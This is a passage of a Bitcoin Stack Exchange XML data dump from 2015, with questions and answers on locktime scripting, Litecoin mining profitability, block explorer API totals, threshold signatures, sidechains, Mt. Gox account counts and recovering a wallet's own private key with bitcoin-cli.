true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here the transaction locktime is compared to a value on the stack. To validate successfully, both must be the same side of the theshold (ie both must be interpreted as a block height, or both as a timestamp), and the script will only validate if the stack value is lower than the tx locktime. Or to put it another way, the script will only validate if the transaction locktime has passed the stack value.&lt;/p&gt;&#xA;&lt;p&gt;Whereas &lt;code&gt;IsFinalTx()&lt;/code&gt; prevents transactions with locktimes in the future from being included into the blockchain in the present, &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; freezes funds in the blockchain so that they can only be spent after a specified time in the future.&lt;/p&gt;&#xA;&lt;p&gt;Note that the stack value used for comparison is most useful when placed in the scriptPubKey. The locktime used for comparison against the stack value is that of the signing transaction. This forces the spender to wait for the block or timestamp in order to spend the funds.&lt;/p&gt;&#xA;&lt;p&gt;As previously discussed, &lt;code&gt;IsFinalTx()&lt;/code&gt; &lt;strong&gt;does&lt;/strong&gt; allow transactions with locktimes above the current block height or timestamp to be mined - providing the sequence number is maxxed out, thus disabling the tx locktime. Submitting such a transaction with a maxxed out sequence number would be a sneaky way for the recipient to spend the funds earlier than the time specified by the sender in the txout script. So, to prevent the &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; criteria from being bypassed, the script validation must fail when the tx locktime is disabled by the sequence number.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="4251" LastEditDate="2024-01-04T21:06:01.777" LastActivityDate="2024-01-04T21:06:01.777" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="40785" PostTypeId="1" CreationDate="2015-10-07T18:46:16.453" Score="3" ViewCount="1154" Body="&lt;p&gt;I have searched whole the Internet but it looks like that there isn't any fast way of mining litecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most powerful CPUs just mine about 200 Kh/s and the most powerful GPUs mine around 900 Kh/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I haven't seen any hardware like ASICs for litecoin mining yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the fastest way of mining litecoin??? I think it's impossible to mine with a 4000$ gpu and just get 900 Kh/s so is any minig hardware going to be produced ???&lt;/p&gt;&#xA;" OwnerDisplayName="user29589" LastEditorUserId="5406" LastEditDate="2016-03-05T15:10:08.000" LastActivityDate="2019-06-15T01:12:29.953" Title="What is the fastest way of litecoin mining?" Tags="|litecoin|mining-hardware|scrypt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40786" PostTypeId="2" ParentId="40785" CreationDate="2015-10-07T19:01:31.990" Score="2" Body="&lt;p&gt;To my knowledge, all public manufacturers of scrypt asics has ceased their operations. This doesn't mean that there's no scrypt asics being produced, just that they aren't for sale on the open market. If you really want to mine, your best bet is to buy some used equipment on Ebay. However I doubt you'll be profitable, since you have to compete against huge Chinese farms with close to zero electricity costs.&lt;/p&gt;&#xA;" OwnerUserId="25213" LastActivityDate="2015-10-07T19:01:31.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40787" PostTypeId="1" CreationDate="2015-10-07T21:49:41.213" Score="2" ViewCount="644" Body="&lt;p&gt;I have a list of bitcoin addresses provided by a user and I am trying to find out a sum deposited to these addresses. I am using blockexplorer.com API to obtain transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a typical API call (for convenience only for one address) my script does. The call supports parameters &lt;code&gt;from&lt;/code&gt; and &lt;code&gt;to&lt;/code&gt;, these can be used to effectively streamline an entire transaction ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;https://blockexplorer.com/api/addrs/1Archive1n2C579dMsAu3iC6tWzuQJz8dN/txs?from=0&amp;amp;to=20&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There appears to be no error in my streamlining algorithm, but if I summarize values found in &lt;code&gt;valueIn&lt;/code&gt; (which should presumably stand for values sent to an address), the result is completely off when compared to result returned in API call &lt;code&gt;totalReceived&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;https://blockexplorer.com/api/addr/1Archive1n2C579dMsAu3iC6tWzuQJz8dN/totalReceived&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why am I getting a totally different results?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this a correct way to find out if a certain amount was deposited to address (or addresses)?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fun fact: blockexplorer.com returns a value of &lt;code&gt;totalReceived&lt;/code&gt; that is different from a value returned by blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="29792" LastActivityDate="2015-10-08T00:29:32.310" Title="Calculating a sum of received bitcoins" Tags="|api|value|blockexplorer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40788" PostTypeId="2" ParentId="40787" CreationDate="2015-10-07T23:59:59.227" Score="1" Body="&lt;p&gt;Transactions can have multiple outputs, and multiple inputs. The valueIn field is the sum of all of the inputs of the transaction, not the amount going toward the address you're interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of summing valueIn, you should make a list of all of the outputs, then filter out the ones that aren't sent to the address you're interested in, then sum those up.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fun fact: blockexplorer.com returns a value of totalReceived that is different from a value returned by blockchain.info.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The meaning of 'total received' is not well-defined. For example, if I take money at address A, and send it to address A, has address A &quot;received&quot; money? Different APIs calculate this differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I assume you're intentionally not looking to find the balance of the address, which &lt;em&gt;is&lt;/em&gt; well-defined.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-10-08T00:29:32.310" LastActivityDate="2015-10-08T00:29:32.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40789" PostTypeId="2" ParentId="40787" CreationDate="2015-10-08T00:00:24.157" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why am I getting a totally different results?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're going to run into a lot of confusion with this sort of API, simply because the information they are displaying is not standardised and is not actually present in the Bitcoin block chain to begin with. As a result there's very little continuity in these values between services, by and large it's not clear how any of them come up with these values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the &quot;total received&quot; is probably talking about the amount of outputs that have been confirmed which spend to &lt;code&gt;OP_DUP OP_HASH160 6c1b511a63306b6294e1d3390ac8cd481f76705d OP_EQUALVERIFY OP_CHECKSIG&lt;/code&gt;, the script for the P2PKH address you posted. Some block explorers subtract change outputs from this amount, such as in &lt;a href=&quot;http://webbtc.com/tx/497bd6e1f704a631feae86de65fd8fffac4cf8cabfcee41a967042e805db79ea&quot; rel=&quot;nofollow&quot;&gt;this transaction&lt;/a&gt; where 1Archive is re-used for the remainder which is not spent to a new address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;total received&quot; for your example address on a few different services:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://insight.bitpay.com/address/1Archive1n2C579dMsAu3iC6tWzuQJz8dN&quot; rel=&quot;nofollow&quot;&gt;Insight&lt;/a&gt; 542.66668813 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1Archive1n2C579dMsAu3iC6tWzuQJz8dN&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; 104.50252693 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://btc.blockr.io/address/info/1Archive1n2C579dMsAu3iC6tWzuQJz8dN&quot; rel=&quot;nofollow&quot;&gt;Blockr.io&lt;/a&gt; 31.17755429 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.smartbit.com.au/address/1Archive1n2C579dMsAu3iC6tWzuQJz8dN&quot; rel=&quot;nofollow&quot;&gt;Smartbit&lt;/a&gt; 104.50252693 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &quot;balance&quot; of an address as shown by these APIs presumably contains a total of all confirmed unspent outputs with that script, but depending on the API this sometimes includes unconfirmed transactions or simply indecipherable values like negatives. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this a correct way to find out if a certain amount was deposited to address (or addresses)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably not, if you are able you can use a Bitcoin Core node and the watch-only function to monitor your list of addresses and get an independent verification of how much Bitcoin is available to be spent. This will be slow to set up however and isn't suited for situations where you will be adding new addresses frequently (it takes time to re-process historical data, possibly up to 30 minutes now). If you must use these APIs you are probably better off using the unspent outputs endpoint available and making a tally of them yourself.  &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-10-08T00:06:01.863" LastActivityDate="2015-10-08T00:06:01.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40790" PostTypeId="1" CreationDate="2015-10-08T02:55:54.597" Score="2" ViewCount="739" Body="&lt;p&gt;I have recently begun mining Litecoin and am still fairly new to the crypto-currency community. My main concern at the moment is that whenever I log into my account on litecoinpool.org (the pool that I have chosen to mine in), and view my worker's stats, the only thing that shows up is the amount of invalid shares I have. All of my worker's other stats are at 0, yet my mining software is telling me that I am mining at 50Mh/s and I have accepted over 230 shares. Does this mean that I should be concerned about not receiving rewards or is it simply a delay in the site reflecting my other stats? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S In case it is of any importance, I have been mining for a total amount of about 8 hours.&lt;/p&gt;&#xA;" OwnerUserId="29793" LastActivityDate="2018-12-02T15:56:43.473" Title="Should I be concerned about my Litecoin pool not showing anything but my invalid shares?" Tags="|litecoin|" AnswerCount="0" CommentCount="3" ClosedDate="2019-07-17T20:50:57.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="40791" PostTypeId="2" ParentId="40770" CreationDate="2015-10-08T13:05:30.833" Score="5" Body="&lt;p&gt;Sidechains don't increase scale without changing the security.  However they could allow people making lower security (e.g. lower value) transactions to opt-in to use a higher scale, lower security chain.  The security would be lower for two reasons: because the security model on a side-chain is slightly different than main chain, and because if the sidechain has bigger blocks, we would expect less people to validate it, so it would be more likely to suffer policy attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that about 45% of Bitcoin's 30-40% full blocks are values under $1 that could perhaps be of interest to many types of application and allow practical scale and be a reasonable tradeoff for many people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I might say: put $100 in a sidechain with bigger blocks, and top it up when it runs out, with the intent to use that as spending money for small value items: tips, cup of coffee, VPS service, etc.  I would be happy doing that because basically I could afford to lose $100.  Also spending money is not at significant risk of political attack, and there is less risk of political attack because there is a recourse: if your spending money wallet coins were politically attacked, you could move them to the main chain.  The attackers would know this and therefore also be less likely to try the attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while it's not a silver bullet and doesn't reduce the amount of bandwidth, it is a potential option people may start to try deploying as federated or full p2p sidechains technically come online.  (There is a testnet federated sidechain that has been online since Jun 2015.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One argument can be that if there are a lot of fees on the sidechain then someone who has bandwidth only to verify the main chain, would receive less profit, and maybe become unprofitable and so have to stop vs a bigger miner with more bandwidth.  However it is possible to pool mine the sidechain and self-validate the mainchain, and so collect the sidechain fee reward via a pool and be equally profitable though not helping with the level of decentralisation security of the sidechain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This kind of higher scale sidechain is strictly optin for security, it is the recipient that choses which chain their receiving address is on.  It is also backwards compatible (though the details are a bit more complex) so someone on the mainchain who receives bitcoin from someone on the sidechain, they are at no elevated risk of losing those funds if they chose to stay on the mainchain for decentralisation security reasons.&lt;/p&gt;&#xA;" OwnerUserId="29795" LastEditorUserId="208" LastEditDate="2015-10-08T15:05:01.953" LastActivityDate="2015-10-08T15:05:01.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40792" PostTypeId="2" ParentId="8792" CreationDate="2015-10-08T13:59:35.347" Score="0" Body="&lt;p&gt;I had this problem the other day with satoshidice.com i found a faster solution to get your funds back instantly if needed probbly not the best way though as your waller will show double spends but anyway heres what i did i just downloaded electrum wallet and i used the sweep feature on a newly generated bitcoin address and swept the btc address i had the unconfirmed transactions hope this helps anybody that needs to get there btc back fast&lt;/p&gt;&#xA;" OwnerDisplayName="user29796" LastActivityDate="2015-10-08T13:59:35.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40795" PostTypeId="1" AcceptedAnswerId="40813" CreationDate="2015-10-08T15:31:11.403" Score="2" ViewCount="362" Body="&lt;p&gt;I am developing a wallet API, but I don't want custodial control of the user's funds.  For reasons I won't explain here, I don't want to use multisig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want the advantages of a 2 of 2 multisig.  I want the client to sign a transaction, and then send that signed transaction to the server.  The server will then finish signing the transaction and push it to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this theoretically possible?  Does something like this exist yet in practice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, I want a way for the client and the server to sign a transaction together without either one having the private key.&lt;/p&gt;&#xA;" OwnerUserId="14727" LastActivityDate="2015-10-09T15:45:10.247" Title="Is it possible to split a key for transaction signing without using multisig?" Tags="|private-key|multi-signature|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40798" PostTypeId="2" ParentId="40773" CreationDate="2015-10-08T19:00:47.310" Score="0" Body="&lt;p&gt;From what you describe, I'm guessing that what you are looking for is something like &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Casascius coins&lt;/a&gt;. These display the public key but conceal the private key behind a tamper evident holographic sticker. This means that when you pass a physical coin to someone, they know that you don't have the private key, so they are the sole owner of the bitcoins at that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is what you are looking for, there are a few problems to bear in mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The manufacturer of the coins puts the private key behind the sticker, so you are trusting that they did not also keep a record of the private key.&lt;/li&gt;&#xA;&lt;li&gt;You are trusting in the effectiveness of the tamper evident sticker.&lt;/li&gt;&#xA;&lt;li&gt;Since November 2013, Casascius no longer sells these coins, although there are many in existence sold before that point.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first point can be solved by using 2 factor authentication, so that the string that the manufacturer hides behind the sticker is useless without a password that is never shared with the manufacturer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you require is possible, although sidestepping the blockchain does introduce trust in the tamper evident nature of whatever method you use to conceal the private key. If the value stored by this method is sufficiently small per item to make the level of trust acceptable, then this may not be a problem.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Tamper evident method without the physical form&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you are looking to use this approach without the physical form, then I can't see a way of keeping ownership to just a single person without either a decentralised system that is effectively a parallel version of the block chain, or a centralised system where you have to place trust in those running it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution to this problem of trust &lt;em&gt;is&lt;/em&gt; the block chain - the public distributed ledger. If you want to avoid using the block chain, then you are going to have to live with the trust problem unless you can invent something new.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Anonymity&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If the underlying reason for asking this question is that you want to conduct transactions anonymously, there are a variety of ways of doing this which you can learn about by browsing the &lt;a href=&quot;/questions/tagged/anonymity&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;anonymity&amp;#39;&quot; rel=&quot;tag&quot;&gt;anonymity&lt;/a&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="14410" LastActivityDate="2015-10-08T19:00:47.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40799" PostTypeId="1" AcceptedAnswerId="64270" CreationDate="2015-10-08T19:16:15.880" Score="1" ViewCount="955" Body="&lt;p&gt;I have two public/private keypairs, A and B. I want to add them together to get a new keypair AB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to be able to add the public keys of A and B to get the public key of AB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-10-24T04:21:39.290" LastActivityDate="2017-12-05T21:17:35.973" Title="How do I add two secp256k1 keys together?" Tags="|ecdsa|secp256k1|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40800" PostTypeId="1" AcceptedAnswerId="40801" CreationDate="2015-10-08T19:49:55.050" Score="1" ViewCount="379" Body="&lt;p&gt;The amount of lost Bitcoin is well-known, but is it reported anywhere how many user accounts Mt. Gox had before its downfall?&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5292" LastEditDate="2015-10-08T20:20:40.630" LastActivityDate="2015-10-08T20:20:40.630" Title="How many users did Mt.Gox have?" Tags="|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40801" PostTypeId="2" ParentId="40800" CreationDate="2015-10-08T20:19:47.030" Score="3" Body="&lt;p&gt;The leaked database dumps (from when MtGox was hacked after they closed down) shows 189374 records as a result for this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql&amp;gt; SELECT * FROM platform.User_Wallet WHERE platform.User_Wallet.Balance != 0 ORDER BY platform.User_Wallet.Balance DESC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;That's only non-zero balances&lt;/li&gt;&#xA;&lt;li&gt;There are many currencies (BTC, USD, JPY, PLN, AUD, GBP, ...) in there, each counting as a seperate &quot;wallet&quot;&lt;/li&gt;&#xA;&lt;li&gt;We don't know how many fake accounts there are (created by MtGox themselves).&lt;/li&gt;&#xA;&lt;li&gt;The hackers that released these documents may have messed with them.&lt;/li&gt;&#xA;&lt;li&gt;There are for example 8467 records that have Balance &quot;1&quot; (Satoshi or other currency). Likely remainders of incomplete withdrawals and such. There will be many many more that have up to a couple million Satoshis (which is still just dust).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Therefore, in short, this may NOT be a good approximate answer to your exact question.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-10-08T20:19:47.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40802" PostTypeId="1" CreationDate="2015-10-08T20:47:48.470" Score="4" ViewCount="658" Body="&lt;p&gt;I'm using bitcoinj from a Scala application... and when I start it, I always get the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[error] o.b.c.Context - Performing thread fixup: you are accessing bitcoinj via a thread that has not had any context set on it.&#xA;[error] o.b.c.Context - This error has been corrected for, but doing this makes your app less robust.&#xA;[error] o.b.c.Context - You should use Context.propagate() or a ContextPropagatingThreadFactory.&#xA;[error] o.b.c.Context - Please refer to the user guide for more information about this.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To send/receive bitcoins I just use class &lt;code&gt;WalletAppKit&lt;/code&gt; as described in &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/tree/master/examples/src/main/java/org/bitcoinj/examples&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;// init&#xA;val walletAppKit = new WalletAppKit(...)&#xA;walletAppKit.startAsync&#xA;walletAppKit.awaitingRunning&#xA;walletAppKit.wallet.addEventListener(new WalletListener) &#xA;&#xA;...&#xA;&#xA;// send coin&#xA;val req = Wallet.SendRequest.to(new Address(params, coinAddress), Coin.valueOf(toNanoCoins(amount)))&#xA;req.aesKey = wallet.getKeyCrypter.deriveKey(secret)&#xA;wallet.sendCoins(req)&#xA;&#xA;...&#xA;&#xA;// listener&#xA;class WalletListener extends org.bitcoinj.core.AbstractWalletEventListener {&#xA;&#xA;  override def onCoinsReceived(&#xA;    wallet: Wallet,&#xA;    transaction: Transaction,&#xA;    prevBalance: Coin,&#xA;    newBalance: Coin&#xA;  ) {&#xA;    ...&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where should I use &lt;code&gt;Context.propagate&lt;/code&gt; to fix this error?&lt;/p&gt;&#xA;" OwnerUserId="29356" LastActivityDate="2015-10-08T20:47:48.470" Title="Bitcoinj: How to fix error &quot;You should use Context.propagate() or a ContextPropagatingThreadFactory&quot;" Tags="|bitcoinj|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40803" PostTypeId="1" CreationDate="2015-10-08T22:45:14.910" Score="1" ViewCount="127" Body="&lt;p&gt;Currently 2015 mid-October, how can I get the NEW hardware to actually make profit, after paying the electricity bill, ventilation, the cooling and all the extra cost?&#xA;I'm not aiming for $100 per day, but just anything above 3 Dollars per day will be fine. I've use the calculator websites to check the available chips in the market and after I input the hash rate and the Watt and the electricity cost, (which I happen to have for only 10 cents not 15), I still can't make profit.&#xA;am I doing something wrong or it's really getting impossible to make money out of mining now. thanks for any help.. &lt;/p&gt;&#xA;" OwnerUserId="29802" LastEditorUserId="5406" LastEditDate="2016-03-05T15:09:24.340" LastActivityDate="2016-03-05T15:09:24.340" Title="where can I get the NEW Hardware? to make profit" Tags="|mining-profitability|mining-hardware|" AnswerCount="1" CommentCount="2" ClosedDate="2015-10-11T19:07:11.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="40804" PostTypeId="2" ParentId="40803" CreationDate="2015-10-09T00:15:14.667" Score="2" Body="&lt;p&gt;No, you're not doing anything wrong. If it was easy to make a profit, everyone would do it, raising the difficulty, and bringing the profit to zero. Only those with the lowest cost of electricity, the lowest cost of capital, and who can get the best deals on high-end ASIC miners can make a profit. And even then, only by taking the risk that the difficulty or price will not change in ways they didn't expect.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-10-09T00:15:14.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40807" PostTypeId="1" CreationDate="2015-10-09T06:28:17.283" Score="1" ViewCount="207" Body="&lt;p&gt;I have a 0.11 nodes, all was fine until now, no restart is doing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client sends a Version Handshake but the ACK never comes.&#xA;In RPC getpeerinfo take 1 or 2 minutes to process even if there is only one connected node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was 0.10 before and noticed the problem, so I updated to 0.11 but it makes no difference. I am kind of stuck now. My Testnet node, on the same machine works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No special errors in the logs, the node seems to get synchronized.&lt;/p&gt;&#xA;" OwnerUserId="21478" LastEditorUserId="21478" LastEditDate="2015-10-09T06:41:25.843" LastActivityDate="2016-06-06T07:49:03.323" Title="Can't handshake with my node" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40810" PostTypeId="1" CreationDate="2015-10-09T07:30:39.747" Score="2" ViewCount="319" Body="&lt;p&gt;wondering if anyone can help me.  I moved funds from one wallet to another with transaction 582386d5b5480804535cf382727ab72b9a09dd1435b3444f18c20617d3198a65.  Fees were dutifully paid by my wallet.  I've never had a transaction take more than an hour or two to confirm if fees are paid.  Says it spent unconfirmed inputs?  Anyone know what it is, and how to get my money back if it does not confirm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks much!&lt;/p&gt;&#xA;" OwnerUserId="29807" LastEditorUserId="29807" LastEditDate="2015-10-09T13:39:37.107" LastActivityDate="2015-12-08T21:30:53.460" Title="Unconfirmed Transaction - Paid Fees" Tags="|transactions|unconfirmed-transactions|" AnswerCount="1" CommentCount="1" ClosedDate="2015-12-21T15:19:43.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="40811" PostTypeId="1" CreationDate="2015-10-09T08:58:07.920" Score="1" ViewCount="599" Body="&lt;p&gt;SO i received this transaction from my other wallet&#xA;1)  &lt;a href=&quot;https://blockchain.info/tx/06810d392213a7453bbe6ad4ab95c0892875b0db2b56b3db5ef942b0a42eced4&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/06810d392213a7453bbe6ad4ab95c0892875b0db2b56b3db5ef942b0a42eced4&lt;/a&gt;&#xA;for 1.02BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and sent these for 1btc and 0.2btc while the previous transaction was unconfirmed:&#xA;2)  &lt;a href=&quot;https://blockchain.info/tx/44f68a0987fe9dfe88045c977c5d66534a65ca399f0d2b27fec7c80785ddc759&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/44f68a0987fe9dfe88045c977c5d66534a65ca399f0d2b27fec7c80785ddc759&lt;/a&gt;&#xA;3)  0.2 (similar to 2) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now suddenly from my other wallet automatically&#xA; 4)  a new transaction for the same value but different hash&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the transaction number 1) shows&#xA; A conflicting transaction has been detected in our memory pool. The transaction hash displayed below may change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me when 1) will be confirmed, and are 2) and 3) dependent on 1).&#xA;How long until the transcation is unconfirmed that the bitcoin is refunded.&#xA;I have paid the fees for all transcations.&#xA;Pls help! &lt;/p&gt;&#xA;" OwnerUserId="29808" LastActivityDate="2015-10-09T22:27:21.217" Title="A conflicting transaction has been detected in our memory pool. The transaction hash displayed below may change" Tags="|transactions|blockchain|unconfirmed-transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40813" PostTypeId="2" ParentId="40795" CreationDate="2015-10-09T15:45:10.247" Score="2" Body="&lt;p&gt;There is a way for you to do so, but it involves something called &lt;a href=&quot;http://www.cs.princeton.edu/~stevenag/threshold_sigs.pdf&quot; rel=&quot;nofollow&quot;&gt;Threshold Signatures&lt;/a&gt; which lets you do most of what you want (n-of-n without multisig). The thing about threshold signatures is that they require at least 2 round trips. That is, A and B have to exchange partial signatures a few times before the signature is valid. For 3-of-3 and higher, you need 3 trips to each person in order to produce a valid sig. Also, threshold signatures haven't really been implemented in any software than the one the Princeton researchers made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other method of sort-of doing something like what you want is using &lt;a href=&quot;https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing&quot; rel=&quot;nofollow&quot;&gt;Shamir's Secret Sharing&lt;/a&gt;. I know Armory implements this for fragmented backups but you can't use the sharded pieces for actually signing, only for recovering the actual private key.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-09T15:45:10.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40814" PostTypeId="1" AcceptedAnswerId="40815" CreationDate="2015-10-09T17:19:20.470" Score="3" ViewCount="712" Body="&lt;p&gt;I have about $200 in bitcoin but my wallet (Core) won't synchronize the blockchain (it's been doing this for days) since for some reason it got corrupted (As it tends to do say every other month) and now I'm unable to retrieve my money. I want to transfer it to a lightweight wallet so this won't happen anymore but I don't want to lose the money I have locked in there. How do I transfer this money when I can't synchronize to the current state of the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="5590" LastActivityDate="2015-10-14T01:15:19.090" Title="How do I retrieve the funds on my Core wallet when I can't synchronize the blockchain?" Tags="|wallet|blockchain|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40815" PostTypeId="2" ParentId="40814" CreationDate="2015-10-09T17:27:03.967" Score="2" Body="&lt;p&gt;You'll want to use bitcoin-cli to dump the priv key and import it into a lightweight wallet. Here's the command to do this in bitcoin core:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli dumpprivkey &amp;lt;address that contains your coins&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should dump out the WIF format private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can import this private key into something like Mycelium which will then have access to your funds. Typically, the wallet will sweep the funds from the address containing your coins to an address controlled by Mycelium. In any case, you'll have full access to your funds after you do this, though at the cost of some miner fees (about 10 cents)&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-09T17:27:03.967" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
